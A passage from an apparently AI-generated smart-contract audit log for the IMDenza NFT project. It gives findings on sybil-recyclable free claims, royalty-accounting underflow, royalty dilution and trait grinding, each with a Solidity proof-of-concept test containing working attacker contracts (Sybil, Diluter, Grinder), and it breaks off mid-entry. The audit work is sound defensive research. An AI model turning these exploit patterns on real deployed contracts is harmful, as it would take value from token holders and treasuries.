and the 3333 cap can be exhausted by one actor so genuine Identity MD / Fidenza / IMD holders and paying minters get nothing. The README says a sybil needs 'enough IMD'; in fact 26 IMD in total suffices because the balance is checked, never locked or consumed. Economics: with 26 IMD (the price of ~377 public mints) an attacker mints up to 3333 pieces worth 3333 x 0.069 = 230 IMD at public price, plus any pending royalty share (see finding 3). The fix needs a scope decision because the brief says 'per wallet': e.g. require msg.sender.code.length == 0 && msg.sender == tx.origin in claimWithImd (one claim per funded EOA per transaction, so each extra claim costs a fresh funded EOA and its own transaction), or snapshot IMD balances at a block before launch, or escrow/lock the 26 IMD for a period. Each keeps 'one free piece per qualifying wallet' while removing free in-transaction recycling.","line":202,"path":"src/IMDenza.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IERC20} from \"forge-std/interfaces/IERC20.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\n\n/// @dev Minimal ERC-20 etched at the IMD token address.\ncontract ProofERC20 {\n    string public name = \"Identity.md\";\n    string public symbol = \"IMD\";\n    uint8 public decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev One throwaway \"wallet\": claims once, hands the IMD back.\ncontract Child {\n    function run(IMDenza nft, IERC20 imd, address back) external {\n        nft.claimWithImd();\n        imd.transfer(back, imd.balanceOf(address(this)));\n    }\n\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n}\n\n/// @dev Recycles the same 26 IMD through fresh wallets, one free claim each, in a single transaction.\ncontract Sybil {\n    function drain(IMDenza nft, IERC20 imd, uint256 n) external {\n        for (uint256 i; i < n; ++i) {\n            Child c = new Child();\n            imd.transfer(address(c), 26 ether);\n            c.run(nft, imd, address(this));\n        }\n    }\n}\n\ncontract SybilImdClaimProof is Test {\n    IMDenza nft;\n    ProofERC20 imd;\n    Sybil sybil;\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);\n        imd = ProofERC20(nft.IMD_TOKEN_A());\n        sybil = new Sybil();\n        imd.mint(address(sybil), 26 ether);\n    }\n\n    /// Expected: one wallet holding 26 IMD is entitled to one free piece; every further piece costs\n    /// 0.069 IMD and pays holders and the treasury.\n    /// Actual: 26 IMD recycled through 50 throwaway wallets mints 50 pieces for free in one\n    /// transaction, with zero proceeds to anyone, and the attacker still holds the 26 IMD.\n    function test_oneWalletWith26ImdCannotMintMoreThanOnePieceForFree() public {\n        uint256 n = 50;\n        try sybil.drain(nft, IERC20(address(imd)), n) {} catch {}\n\n        // Whatever the attacker tried, 26 IMD must not buy more than one free piece.\n        assertLe(nft.totalMinted(), 1, \"26 IMD minted more than one free piece\");\n        // Sanity on what the attacker ends up with (holds true before and after a fix).\n        assertEq(imd.balanceOf(address(sybil)), 26 ether);\n        assertEq(imd.balanceOf(nft.TREASURY()), 0);\n        assertEq(imd.balanceOf(address(nft.distributor())), 0);\n    }\n}","reproduction":"State: IMD token A live, attacker contract S holds exactly 26e18 IMD. Call S.drain(nft, imd, 50): for i in 0..49 { c = new Child(); imd.transfer(c, 26e18); c.run() -> nft.claimWithImd(); imd.transfer(S, 26e18) }. Expected: 26 IMD entitles one wallet to one free piece; further pieces cost 0.069 IMD each. Actual: totalMinted() == 50, imd.balanceOf(S) == 26e18, treasury and distributor received 0. Proof test test/scratch/SybilImdClaim.t.sol fails with '26 IMD minted more than one free piece: 50 > 1'.","severity":"high","snippet":"        if (!_holdsImd(msg.sender)) revert InsufficientImd();","title":"Free IMD claim is sybil-recyclable: the same 26 IMD mints the whole supply for free in one transaction"},{"citation":"resolved","description":"distribute() credits every token perToken acc units (perToken = unattributed*1e18/minted) but only reserves attributed = floor(perToken*minted/1e18). The sub-wei remainder (perToken*minted mod 1e18) is credited to tokens yet not reserved, and the unreserved dust is re-distributed next time as well, so the sum over tokens of floor(credits/1e18) can exceed reserved[asset]. The last claimer(s) then hit 'reserved[asset] -= amount' with reserved < amount and the whole claim reverts (panic 0x11), not just the dust: in the reproduction the sixth holder's entire 85 wei pending is unclaimable. The deficit grows by up to 1 wei per distribution, so with ongoing royalty flow some holder is always short and blocked until the next distribution refills reserved, and the shortfall never clears. The project's own testFuzz_conservation fails on this with the README's documented FOUNDRY_FUZZ_SEED (counterexample holders=24 -> bound 6, amounts [12439,512,794,60]). Invariant broken: sum of claimable amounts <= reserved[asset] <= balance. Minimal fix: round attributed up, attributed = (perToken*minted + PRECISION - 1) / PRECISION (still <= unattributed because perToken*minted <= unattributed*1e18). Verified: with that one-line change the full test/IMDenzaDistributor.t.sol suite including the fuzz passes (forge test --force) and the proof below passes.","line":76,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\n/// @dev Minimal ERC-20 etched at the IMD token address so wallets can take the free IMD claim.\ncontract ProofERC20 {\n    uint8 public decimals = 18;\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n}\n\ncontract ReservedUnderflowProof is Test {\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    ProofERC20 imd;\n    address constant ETH = address(0);\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);\n        imd = ProofERC20(nft.IMD_TOKEN_A());\n    }\n\n    function _claim(address who) internal returns (uint256 id) {\n        imd.mint(who, 26 ether);\n        vm.prank(who);\n        id = nft.claimWithImd();\n    }\n\n    /// Six holders; after each mint a royalty of the given size arrives and is distributed.\n    /// Expected: every holder can claim what `pending` reports, and the sum never exceeds what arrived.\n    /// Actual: `reserved` is incremented by the floored `attributed` while the accumulator credits\n    /// tokens with the sub-wei remainder, and the dust is distributed a second time; the sixth\n    /// holder's claim reverts with an arithmetic underflow in `reserved[asset] -= amount`.\n    function test_everyHolderCanClaimWhatPendingReports() public {\n        uint256[6] memory amounts = [uint256(12439), 512, 794, 60, 12439, 512];\n        uint256 total;\n        for (uint256 i; i < 6; ++i) {\n            _claim(makeAddr(string(abi.encodePacked(\"h\", i))));\n            vm.deal(address(dist), address(dist).balance + amounts[i]);\n            dist.distribute(ETH);\n            total += amounts[i];\n        }\n\n        uint256 sumPending;\n        for (uint256 id = 1; id <= 6; ++id) {\n            sumPending += dist.pending(ETH, id);\n        }\n        // Credits exceed what was reserved for them: this is the root cause.\n        assertLe(sumPending, dist.reserved(ETH), \"pending credits exceed reserved\");\n\n        uint256 claimed;\n        for (uint256 id = 1; id <= 6; ++id) {\n            uint256[] memory ids = new uint256[](1);\n            ids[0] = id;\n            uint256 p = dist.pending(ETH, id);\n            if (p == 0) continue;\n            claimed += dist.claim(ETH, ids); // reverts for id 6 on the current code\n        }\n        assertLe(claimed, total);\n    }\n}","reproduction":"Six wallets each take a free claim; after each mint ETH of [12439, 512, 794, 60, 12439, 512] wei is dealt to the distributor and distribute(address(0)) is called. Then pending(ETH, 1..6) = 15548, 3109, 2853, 2588, 2573, 85 (sum 26756) while reserved(ETH) = 26755. Claiming ids 1..5 succeeds; claim(ETH, [6]) reverts with arithmetic underflow in 'reserved[asset] -= amount'. Expected: every holder can claim what pending() reports. Proof test test/scratch/ReservedUnderflow.t.sol fails with 'pending credits exceed reserved: 26756 > 26755'.","severity":"medium","snippet":"        uint256 attributed = (perToken * minted) / PRECISION;","title":"Distributor reserves the floored amount but credits tokens the sub-wei remainder, so late claims revert with an underflow"},{"citation":"resolved","description":"Royalty ETH arrives via receive() (WETH via a plain transfer) without being attributed; attribution happens only when someone calls distribute(asset), which splits the whole unattributed balance over nft.totalMinted() at that moment. Nothing in IMDenza.mint()/claims attributes pending ETH/WETH before totalMinted is incremented (mint() only distributes the IMD it just received). So any pot of pending royalties can be captured by minting first: an attacker mints n pieces (0.069 IMD each, or free via finding 1) and calls distribute(ETH) in the same transaction, taking n/(m+n) of royalties that accrued while only m pieces existed. Concrete economics: 10 ETH pending, m=1000 holders: the attacker buys 100 pieces for 6.9 IMD (90% of which flows back pro-rata to holders including the attacker) and immediately earns 100/1100 x 10 = 0.909 ETH; with free sybil claims the cost is gas only. It also lets anyone front-run an honest distribute(ETH) transaction. This contradicts the README guarantee 'Pieces minted later never share earlier distributions'. Fix: attribute on arrival for ETH (receive() runs the distribution logic when totalMinted() > 0) and have IMDenza._mintTo() best-effort checkpoint the distributor for ETH and the known royalty ERC-20 (WETH) before incrementing totalMinted; arbitrary ERC-20s remain exposed and should be documented.","line":69,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\n/// @dev Minimal ERC-20 etched at the IMD token address.\ncontract ProofERC20 {\n    uint8 public decimals = 18;\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n        totalSupply += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Buys `n` pieces at the public price and immediately attributes the royalty pot to them.\ncontract Diluter {\n    function run(IMDenza nft, ProofERC20 imd, uint256 n) external {\n        uint256 price = nft.mintPrice(address(imd));\n        imd.approve(address(nft), price * n);\n        for (uint256 i; i < n; ++i) {\n            nft.mint(address(imd));\n        }\n        nft.distributor().distribute(address(0));\n    }\n\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n}\n\ncontract PendingRoyaltyDilutionProof is Test {\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    ProofERC20 imd;\n    address alice = makeAddr(\"alice\");\n    address constant ETH = address(0);\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);\n        imd = ProofERC20(nft.IMD_TOKEN_A());\n    }\n\n    /// Alice is the only holder when a 10 ETH royalty is paid to the distributor.\n    /// Expected: the royalty belongs to the holders at the time it was paid, so Alice can claim 10 ETH\n    /// (the README: \"Pieces minted later never share earlier distributions\").\n    /// Actual: before anyone calls `distribute(ETH)`, a diluter mints 9 pieces for 9 x 0.069 IMD and\n    /// attributes the pot itself; Alice is left with 1 ETH and the diluter's new pieces take 9 ETH.\n    function test_royaltyPaidWhileAliceWasSoleHolderBelongsToAlice() public {\n        imd.mint(alice, 26 ether);\n        vm.prank(alice);\n        uint256 a = nft.claimWithImd();\n\n        // OpenSea pays a 10 ETH royalty (6.9% of a ~145 ETH sale) to the distributor.\n        (bool ok,) = address(dist).call{value: 10 ether}(\"\");\n        assertTrue(ok);\n\n        Diluter d = new Diluter();\n        imd.mint(address(d), 1 ether);\n        d.run(nft, imd, 9);\n\n        assertEq(dist.pending(ETH, a), 10 ether, \"royalty paid to the sole holder was redirected to later mints\");\n    }\n}","reproduction":"Alice takes the only free claim (token 1). A 10 ETH royalty is sent to the distributor via receive(). Before anyone calls distribute, contract D holding 1 IMD approves and calls nft.mint(IMD) nine times (tokens 2..10), then nft.distributor().distribute(address(0)). Expected: pending(ETH, 1) == 10 ether (the royalty was paid while Alice was the sole holder). Actual: pending(ETH, 1) == 1 ether; tokens 2..10 hold 9 ether of royalties that predate them. Proof test test/scratch/PendingRoyaltyDilution.t.sol fails with '1000000000000000000 != 10000000000000000000'.","severity":"medium","snippet":"        uint256 minted = nft.totalMinted();","title":"Royalties sitting undistributed are diluted by anyone who mints before calling distribute(), redirecting value from existing holders to new mints"},{"citation":"resolved","description":"The composition seed is keccak(tokenHash, swarm.entropy, tokenId). tokenHash is fully known to a minting contract before it mints (previous blockhash, prevrandao, its own address, block number, timestamp, totalMinted+1), and swarm.entropy changes with every SwarmHistory.recordJob(), which anyone may call with any unused jobId. A minting contract therefore loops: snapshot(), compute the seed, call renderer.traits() (a view), and if the trait is not the wanted one call recordJob(junk) and retry; then claim/mint. Each retry costs ~150k gas, and rare buckets (Jumbo scale ~8%, High turbulence, Dense, favoured palette) are reached in ~12 tries on average. Rarity drives secondary value, so this is extractable: grinders systematically take the rare pieces and dump junk records into the 'history of IMD swarm jobs' the artwork is supposed to reflect (also polluting the foundational first-16 traces and the accent profile of every later mint). A second grinding vector exists independently of the ledger: tokenHash includes the recipient, so CREATE2 child addresses can be ground for a hash. Fix: do not let the mint transaction choose its own randomness: commit at mint and derive tokenHash/entropy from a later block (e.g. blockhash(mintBlock+1) and the entropy committed before mintBlock), or at minimum snapshot an entropy value committed in an earlier block. Restricting recordJob alone does not close the CREATE2 vector.","line":294,"path":"src/IMDenza.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\n\n/// @dev Minimal ERC-20 etched at the IMD token address so the grinder can take the free IMD claim.\ncontract ProofERC20 {\n    uint8 public decimals = 18;\n    mapping(address => uint256) public balanceOf;\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n}\n\n/// @dev Minter that, inside its own mint transaction, appends junk swarm records until the piece it\n///      is about to receive has the rarest scale trait (3 = Jumbo), then claims.\ncontract Grinder {\n    IMDenza immutable nft;\n    SwarmHistory immutable swarm;\n    IMDenzaRenderer immutable renderer;\n    uint256 nonce;\n\n    constructor(IMDenza nft_) {\n        nft = nft_;\n        swarm = nft_.swarm();\n        renderer = nft_.renderer();\n    }\n\n    function grindAndClaim(uint8 wantedScale, uint256 maxTries) external returns (uint256 tokenId) {\n        uint256 id = nft.totalMinted() + 1;\n        bytes32 h = keccak256(\n            abi.encodePacked(id, blockhash(block.number - 1), block.prevrandao, address(this), block.number, block.timestamp)\n        );\n        while (nft.tokenHashUsed(h)) h = keccak256(abi.encodePacked(h));\n        for (uint256 i; i < maxTries; ++i) {\n            (bytes32 entropy, uint256 jobCount, uint64 profile) = swarm.snapshot();\n            IMDenzaRenderer.Piece memory p = IMDenzaRenderer.Piece({\n                tokenId: id,\n                tokenHash: h,\n                swarmEntropy: entropy,\n                swarmJobIndex: jobCount,\n                typeProfile: profile\n            });\n            if (renderer.traits(p).scale == wantedScale) break;\n            // Permissionless ledger: any record changes the entropy the mint will snapshot.\n            try swarm.recordJob(keccak256(abi.encode(address(this), nonce++)), 7, 1, 0, uint40(block.timestamp)) {}\n            catch {\n                break;\n            }\n        }\n        tokenId = nft.claimWithImd();\n    }\n\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n}\n\ncontract TraitGrindingProof is Test {\n    IMDenza nft;\n    ProofERC20 imd;\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        vm.prevrandao(bytes32(uint256(0xabc)));\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);\n        imd = ProofERC20(nft.IMD_TOKEN_A());\n    }\n\n    /// Scale 3 (Jumbo) has roughly an 8% chance per piece. Five independent minters all receiving\n    /// Jumbo by chance has probability ~3e-6.\n    /// Expected: a minter cannot choose its traits; at least one of five pieces is not Jumbo.\n    /// Actual: each minter rerolls the swarm entropy inside its own transaction until the piece is\n    /// Jumbo, and all five pieces come out Jumbo.\n    function test_minterCannotChooseItsTraits() public {\n        uint256 jumbo;\n        for (uint256 i; i < 5; ++i) {\n            Grinder g = new Grinder(nft);\n            imd.mint(address(g), 26 ether);\n            uint256 id = g.grindAndClaim(3, 200);\n            if (nft.traits(id).scale == 3) jumbo++;\n        }\n        assertLt(jumbo, 5, \"every minter picked the rarest scale trait\");\n    }\n}","reproduction":"Deploy Grinder(nft) holding 26 IMD; call grindAndClaim(3, 200): it computes the exact tokenHash IMDenza will use, then calls swarm.recordJob(keccak(this, nonce), 7, 1, 0, now) until renderer.traits(piece).scale == 3 (Jumbo), then claimWithImd(). Repeat with five independent grinders. Expected: traits are not chosen by the minter, so with ~8% odds per piece at least one of five is not Jumbo (all five by chance ~3e-6). Actual: all five pieces are Jumbo. Proof test test/scratch/TraitGrinding.t.sol fails with 'every minter picked the rarest scale trait: 5 >= 5'.","severity":"medium","snippet":"        (bytes32 entropy, uint256 jobCount, uint64 profile) = swarm.snapshot();","title":"Minters can choose their traits: the swarm entropy snapshotted at mint is rerollable in the same transaction via the permissionless ledger"},{"citation":"resolved","description":"claim() pays floor(owed/1e18) but records claimedAcc = earned (the full acc units), so the fractional part of a token's credit is forfeited at every claim. Once finding 2 is fixed those units are counted in reserved[asset], and nothing ever releases them: they are never claimable and never re-enter 'unattributed', so the locked balance grows by up to 1 wei per token per claim. Fix: record claimedAcc[asset][id] += amount * PRECISION per token (or carry the remainder) so the remainder stays claimable.","line":105,"path":"src/IMDenzaDistributor.sol","reproduction":"2 tokens minted. Distribute 3 wei: perToken = 1.5e18 units each. claim(ETH,[1]) pays 1 wei and sets claimedAcc[1] = 1.5e18. Distribute 3 wei again: token 1 owed = 1.5e18 -> pays 1 wei again. Token 1 received 2 wei for 3e18 units of credit (3 wei); the third wei stays in reserved and can never be claimed or redistributed. Expected: a token credited 3 wei over two distributions can claim 3 wei in total. Actual: 2 wei, 1 wei locked.","severity":"low","snippet":"                claimedAcc[asset][id] = earned;","title":"Sub-wei credit forfeited at each claim is locked in reserved forever"},{"citation":"resolved","description":"IMD_TOKEN_B has no code on mainnet; whatever is later deployed there is trusted for pricing and eligibility. mintPrice(B) = 69 * 10**decimals / 1000 truncates to 0 for decimals 0..2, after which mint(B) pulls nothing and mints pieces for free with no proceeds to holders or treasury. In _balanceAboveWhole, 25 * 10**decimals overflows for decimals >= 77 and reverts, so claimWithImd() reverts with a panic for every wallet that does not already pass on token A (the || short-circuit) instead of InsufficientImd. Fix: hard-code the expected decimals for each constant token (or require decimals in a sane range) rather than reading them live.","line":251,"path":"src/IMDenza.sol","reproduction":"vm.etch(IMD_TOKEN_B, code of an ERC-20 whose decimals() returns 2); mintPrice(IMD_TOKEN_B) returns 0; a wallet with 0 IMD calls mint(IMD_TOKEN_B) and receives a token; ProceedsSplit(0,0). With decimals() returning 78: a wallet holding 0 of token A calls claimWithImd() and gets panic 0x11 instead of InsufficientImd; a wallet holding 30e18 of token B cannot claim at all. Expected: price 0.069 IMD and a clean eligibility answer regardless of the second token's metadata.","severity":"low","snippet":"        return MINT_PRICE_MILLI * 10 ** _decimals(paymentToken) / 1000;","title":"Price and holding checks trust decimals() of the not-yet-deployed IMD token B: decimals < 3 makes the public mint free, decimals >= 77 breaks the IMD claim path"}],"hash":"2327ad050c6f08827b236aa19b84028aa7d3704a957c5e8ae9e2b787ae84a35a","nodeId":"18868004-a38a-4759-99bd-5f54167f2de0","outcome":"completed","summary":"Review complete. The findings file is written and validated, all four proof tests fail on the current code, and the tree is clean apart from gitignored paths.\n\n**What I found (economics, invariants, flow gaps)**\n\n- **High. Free IMD claim is sybil-recyclable.** The claim only checks a point-in-time balance of any caller, so one contract recycles a single 26 IMD position through throwaway children and mints the entire supply for free in one transaction. Proof mints 50 pieces with 26 IMD and zero proceeds to holders or treasury. Fix needs a scope call since the brief says \"per wallet\".\n- **Medium. Distributor reserve accounting underflows.** `distribute` floors the reserved amount while crediting tokens the sub-wei remainder and re-distributing the dust, so the last claimer's whole claim reverts. The project's own conservation fuzz test fails with the README's seed. A one-line ceil fix makes the full distributor suite and my proof pass. I verified this with a temporary edit and restored the file.\n- **Medium. Pending royalties are dilutable.** Royalty ETH or WETH sits unattributed until someone calls `distribute`, so anyone can mint first and capture a share of royalties that predate their tokens. Proof shows a sole holder's 10 ETH royalty shrinking to 1 ETH.\n- **Medium. Minters can pick their traits.** The mint hash is known in-transaction and the swarm entropy is rerollable through the permissionless ledger. Proof has five independent minters all landing the rarest scale trait. A CREATE2 address-grinding vector exists too.\n- **Low.** Sub-wei credit forfeited at each claim is locked forever. Price and eligibility trust `decimals()` of the undeployed second IMD token.\n\n**Coverage** is recorded for all 18 entry points plus three invariants. Entry points outside my area (approvals, transfers, owner-only setters, the configurator one-shot) traced clean for economics.\n\n**Left out:** the renderer and field internals, which belong to other specialists. The suggestion to use an EOA check in the IMD claim is flagged as a design tradeoff, not applied.","treeHash":null,"usage":{"cachedInputTokens":1915389,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":52071,"runtime":"claude","turns":35,"wallClockMs":837685}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fa2b7fcb5f53535a","findings":[{"citation":"resolved","description":"Merged from audit_math and audit_flow (same root cause, both proofs run and fail on this tree). _biased() returns seedByte%100 + 10 + entropyByte%21 - 10, i.e. 0..119. _bucket(v, 30, 75, 101) returns 3 for v >= 111, which is reachable whenever the swarm-entropy byte 2 (mod 21) is >= 12 and the seed byte 2 (mod 100) is large enough. Density only has three buckets: _params() indexes [45, 80, 120][t.density] (line 131) and _attributes() indexes a string[3] (line 372), so both panic with 0x32. IMDenzaRenderer.svg()/tokenURI() and therefore IMDenza.svg()/tokenURI() revert for such tokens. Minting never renders, so the token is minted normally and is unrenderable forever (renderer, collection and mint snapshot are immutable). It cannot happen while SwarmHistory.entropy is zero (entropy byte 2 = 0 gives bias -10), which is why the project's testFuzz_everyTokenRenders (entropy 0) never saw it; it occurs as soon as any job has been recorded. Over 20,000 random pairs the specialists measured ~1.7% of pieces (~55 of 3333). This breaks the brief's 'any piece can be regenerated forever' and the declared Sparse/Medium/Dense range. Minimal fix: clamp density to 2 (e.g. pass a top threshold above 119, or `if (t.density > 2) t.density = 2`). Scale and turbulence legitimately use bucket 3.","line":82,"path":"src/IMDenzaRenderer.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\n\n/// @dev IMDenzaRenderer.traits: `_biased` returns 0..119 (seed byte % 100 pushed by -10..+10 from the\n///      swarm entropy byte), but `t.density = _bucket(_biased(s, e, 2), 30, 75, 101)` returns 3 for\n///      v >= 111. `_params` indexes `[45, 80, 120][t.density]` and `_attributes` indexes a string[3],\n///      so svg()/tokenURI() panic (index out of bounds) for every token whose seed byte 2 % 100 plus\n///      entropy byte 2 % 21 reaches 111. Such tokens can be minted (mint never renders) and are then\n///      permanently un-renderable, since nothing is upgradeable.\ncontract DensityBucketTest is Test {\n    SwarmHistory swarm;\n    IMDenzaField field;\n    IMDenzaRenderer renderer;\n\n    function setUp() public {\n        swarm = new SwarmHistory();\n        field = new IMDenzaField();\n        renderer = new IMDenzaRenderer(address(swarm), address(field));\n    }\n\n    function _find(bytes32 entropy, uint256 tokenId) internal view returns (IMDenzaRenderer.Piece memory p) {\n        // entropy byte 2 = 20 -> +10 bias; need seed byte 2 % 100 >= 91 so that v >= 111.\n        for (uint256 i; i < 5000; ++i) {\n            bytes32 h = keccak256(abi.encodePacked(\"imdenza\", i));\n            bytes32 s = keccak256(abi.encodePacked(h, entropy, tokenId));\n            if (uint8(s[2]) % 100 >= 91) {\n                return IMDenzaRenderer.Piece({\n                    tokenId: tokenId,\n                    tokenHash: h,\n                    swarmEntropy: entropy,\n                    swarmJobIndex: 0,\n                    typeProfile: 0\n                });\n            }\n        }\n        revert(\"no hash found\");\n    }\n\n    function test_densityBucketThreeMakesTokenUriRevert() public view {\n        bytes32 entropy = bytes32(uint256(20) << (8 * 29)); // byte 2 == 20 (e[2] % 21 == 20)\n        IMDenzaRenderer.Piece memory p = _find(entropy, 1);\n\n        IMDenzaRenderer.Traits memory t = renderer.traits(p);\n        // Density has three named buckets (Sparse/Medium/Dense); a fourth value must never be produced.\n        assertLe(t.density, 2, \"density bucket out of range\");\n\n        // With the defect, both of these panic with 0x32 (array out of bounds) and the piece can never be rendered.\n        string memory uri = renderer.tokenURI(p);\n        assertGt(bytes(uri).length, 0);\n        string memory s = renderer.svg(p);\n        assertGt(bytes(s).length, 0);\n    }\n}","reproduction":"Deploy SwarmHistory, IMDenzaField, IMDenzaRenderer. Build Piece{tokenId: 1, tokenHash: 0x6a86df4707fabfabaac44a91d1def396500f325914aa6f41180ed1c726fcb21a, swarmEntropy: bytes32(uint256(20) << 232) (entropy byte 2 = 20), swarmJobIndex: 0, typeProfile: 0}. Expected: traits(p).density <= 2 and svg(p)/tokenURI(p) return strings. Actual: traits(p).density == 3; renderer.svg(p) and renderer.tokenURI(p) revert with Panic(0x32). End-to-end (audit_flow proof, also run): record jobs until uint8(swarm.entropy()[2]) % 21 == 20, mint via claimWithImd until uint8(nft.seedOf(id)[2]) % 100 >= 91: nft.traits(id).density == 3 and nft.tokenURI(id) reverts. Ran: forge test --match-path test/scratch/Proof_231356931f0e.t.sol -> FAIL 'density bucket out of range: 3 > 2'.","severity":"high","snippet":"        t.density = _bucket(_biased(s, e, 2), 30, 75, 101);","title":"Density trait reaches bucket 3 once swarm entropy is non-zero: svg()/tokenURI() panic forever for ~1.7% of pieces"},{"citation":"resolved","description":"Merged from write_foundry_tests (high), audit_math (medium), audit_economics (medium), audit_permissions (low) and audit_flow (low): one root cause. perToken = unattributed*1e18/minted is credited to every token, but only attributed = floor(perToken*minted/1e18) is added to reserved. Whenever unattributed*1e18 is not divisible by minted, attributed = unattributed - 1: the tokens are collectively promised (almost) the whole amount while reserved grows one wei less. The missing wei stays in balance - reserved, so the next distribute() counts it again (a replay with no new funds does not revert NothingToDistribute and adds 1e18/minted units to every token for free). Hence sum(pending) can exceed reserved and the balance; claim() does reserved[asset] -= amount all-or-nothing, so whoever claims last reverts with Panic(0x11) on their ENTIRE pending amount (not just dust) until someone sends at least `minted` wei and distributes again, which only moves the shortfall to the next last claimant. Every public mint triggers a distribution (up to 3333 of them), so the deficit accrues organically and anyone can deepen it for ~50k gas per call. The project's own testFuzz_conservation fails with the README's documented FOUNDRY_FUZZ_SEED (counterexample reported by audit_economics). Magnitude is wei-scale but the blocked amount is a holder's full share and there is no admin to repair it. Minimal fix: reserve what was actually consumed (`reserved[asset] += unattributed;` and emit that), or credit the accumulator only from `attributed`; additionally revert when attributed == 0 so a replay cannot move the accumulator. Note the separate claim()-side rounding issue (finding 9).","line":80,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport 